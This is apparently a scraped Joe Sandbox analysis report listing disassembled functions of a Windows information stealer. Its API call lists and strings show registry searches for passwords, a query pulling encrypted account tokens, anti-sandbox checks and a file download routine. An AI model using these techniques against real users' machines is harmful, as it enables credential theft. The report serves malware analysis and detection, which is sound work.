Opcode Fuzzy Hash: f36938298e6ac6d1107e037b94d9d151851b59f4a54a2b2fcecb02b3479b55f0
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,0257B740), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2
q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: b38a372bbf65ac042d1d72ff4a219f04d22188d0fd19f0ac0b6a98b30744770e
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: b38a372bbf65ac042d1d72ff4a219f04d22188d0fd19f0ac0b6a98b30744770e
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(352BA020,004217A0), ref: 00407646
lstrcat.KERNEL32(352BA020,00000000), ref: 00407688
lstrcat.KERNEL32(352BA020, : ), ref: 0040769A
lstrcat.KERNEL32(352BA020,00000000), ref: 004076CF
lstrcat.KERNEL32(352BA020,004217A8), ref: 004076E0
lstrcat.KERNEL32(352BA020,00000000), ref: 00407713
lstrcat.KERNEL32(352BA020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: f6f97187ff320098b1ee5d80db1305ab38950e625d8bdd35c4946a325c88a42b
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: f6f97187ff320098b1ee5d80db1305ab38950e625d8bdd35c4946a325c88a42b
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

C, xrefs: 00416FEC
:, xrefs: 00416FFC
\, xrefs: 00417000

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02579D00,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02579D00,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

@, xrefs: 00417BED
%d MB, xrefs: 00417C43

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 8cb234f84e8b83e8fecd2546670217cd2adfa58d08d9f56a902dc95043d76619
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: 8cb234f84e8b83e8fecd2546670217cd2adfa58d08d9f56a902dc95043d76619
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B9A9
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountTokens, xrefs: 0040B91A
AccountId, xrefs: 0040BB02

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: b963511ad824eb8fcb50f62881bc81b30b89e0c70c0e0d938b1697c056d18e7b
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: b963511ad824eb8fcb50f62881bc81b30b89e0c70c0e0d938b1697c056d18e7b
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255DB78), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255DB48), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255DB90), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255D090), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255CFB8), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,02555DF8), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,025548C0), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,02554640), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255D078), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255CE38), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255CF10), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255CE68), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,02554780), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0255CE20), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02555E18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,02555E18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: b0b9960d20af4d68d915563efb49f39e3c975c1103b7c7d82c9cd59156a88510
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: b0b9960d20af4d68d915563efb49f39e3c975c1103b7c7d82c9cd59156a88510
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00417E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
